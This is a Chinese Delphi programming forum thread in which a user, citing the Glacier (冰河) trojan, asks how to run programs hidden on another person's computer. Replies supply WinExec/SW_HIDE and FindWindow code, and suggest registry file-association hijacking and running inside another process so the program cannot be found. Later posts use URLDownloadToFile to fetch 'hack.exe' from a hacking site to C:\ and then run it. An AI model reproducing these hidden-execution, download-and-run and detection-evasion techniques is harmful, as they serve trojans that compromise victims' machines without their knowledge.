研究黑客后有想法 (50分)

  • 主题发起人 主题发起人 wwwvw
  • 开始时间 开始时间
W

wwwvw

Unregistered / Unconfirmed
GUEST, unregistred user!
是关于打开一个程序并且隐藏运行的问题<br><br>用了木马冰河后发现他里面有个打开受害者电脑上的文件并使这个文件在后台悄悄运行的功能,比如calc.exe 计算器<br>觉得这招不错,也试着做了一下<br><br>试了知道的所有的winexec和ShellExecute打开文件的方法和参数后<br>就是不能实现真正的后台运行(不出现任何界面,只能在任务管理器里才能看见)<br>以下这句按道理说就应该可以实现,可是却不能<br>WinExec('calc.exe',SW_HIDE); //calc.exe是XP里的计算器<br><br>书上明明说这样是隐藏运行呀。<br><br>
 
简单点说吧,我想实现的是 用我的程序打开别人的程序并且使这个程序在后台运行,不显示出来,不管这个程序是否有界面
 
用CreateProcess函数
 
肯定可以了:<br>var<br>&nbsp; I: THandle;<br>begin<br>&nbsp; WinExec('Calc.exe',SW_HIDE);<br>&nbsp; I := FindWindow(nil, '计算器');<br>&nbsp; ShowWindow(I, SW_HIDE);<br>end;
 
WinExec('Notepad',SW_HIDE);可以<br><br>别的行,计算其不行,不知道为什么
 
TO 大富翁WW<br><br>你那代码我在离线数据库里早看到过<br>如果是一个没有标题窗口的程序呢
 
呵呵,这是将要运行的程序关联到一类文件的打开操作,通过修改注册表可实现。当然,你的这个程序也要有处理传入参数部分,以便解析运行真正的用户请求。你要运行的程序就好象是为某一类文件加了壳一样。
 
晕倒!<br>你还真可爱,后台运行并不是真正意义上的隐藏。<br>一般采用的方法是把程序加入到别的文件里面成为一个子进程运行,这样才查不到!<br>在WIN98/ME下面还有调用API的方法,但容易被优化大师等东西查出来,不学也罢。
 
只要这样就可以了
 
在上面这段程序里我用URLDownloadToFile来下载一个文件<br>我发现这么写有问题,就是没有等到程序下载完就开始执行下面的操作了<br>大家帮我看看,要怎么加判断是否下载完毕,是的话再执行下面的操作的语句
 
TO wwwvw<br>&gt;&gt;你那代码我在离线数据库里早看到过<br>&gt;&gt;如果是一个没有标题窗口的程序呢<br>&nbsp;举一反三, 用工具找到类名--&gt;使用类名.<br>
 
TO 大富翁WW <br>我现在出现另一个问题<br>用URLDownloadToFile来下载一个文件,怎么知道他下载完了没有<br>
 
URLDownloadToFile(nil, PChar('http://www.hack.co.za/hack.exe), PChar('c:/test.exe'), 0, nil) &nbsp; 用这个方法下载,下载界面会不会出现呀
 
不会啊!但是确实用这个是可以下载文件的<br>只是不知道要怎么加判断文件是否下载完
 
多人接受答案了。
 
后退
顶部